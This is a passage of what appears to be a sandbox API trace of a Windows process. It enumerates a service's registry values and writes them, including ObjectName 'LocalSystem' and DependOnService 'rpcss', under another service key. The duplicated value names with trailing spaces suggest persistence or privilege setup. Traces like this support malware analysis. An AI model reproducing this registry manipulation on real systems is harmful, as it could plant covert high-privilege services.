out: phkResult=0x36f44c*=0x150) returned 0x0 [0234.881] RegCloseKey (hKey=0xc4) returned 0x0 [0234.881] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0234.881] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0234.881] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0234.881] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0234.881] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0234.881] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0234.881] RegCloseKey (hKey=0x150) returned 0x0 [0234.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0234.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0234.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0234.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0234.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0234.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0234.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0234.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0234.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0234.882] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.882] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.882] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.882] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.882] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.882] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.882] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.883] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.883] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.883] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.883] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.883] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.883] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.883] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.883] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.883] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0234.883] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0234.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0234.884] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x219d3c8*, cbData=0xac | out: lpData=0x219d3c8*) returned 0x0 [0234.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219d3c8) returned 1 [0234.884] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.884] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.884] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.884] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.884] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.884] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.884] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.884] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.884] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.884] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.885] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.885] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.885] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.885] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.885] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.885] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0234.885] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0234.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0234.885] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0234.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0234.920] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0234.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0234.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0234.920] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0234.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0234.920] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0234.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0234.920] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0234.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0234.921] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0234.921] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0234.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0234.921] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0234.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4610 [0234.921] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0234.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0234.921] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0234.921] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0234.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0234.921] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0234.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44f0 [0234.921] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0234.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0234.921] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0234.922] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0234.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0234.922] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0234.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0234.922] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0234.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0234.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0234.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0234.922] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0234.922] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0234.922] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0234.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0234.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0234.922] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0234.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0234.922] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0234.923] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0234.923] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0234.923] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0234.923] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44f0 [0234.923] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0234.923] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0234.923] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0234.923] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4610 [0234.923] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0234.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0234.923] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0234.924] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, 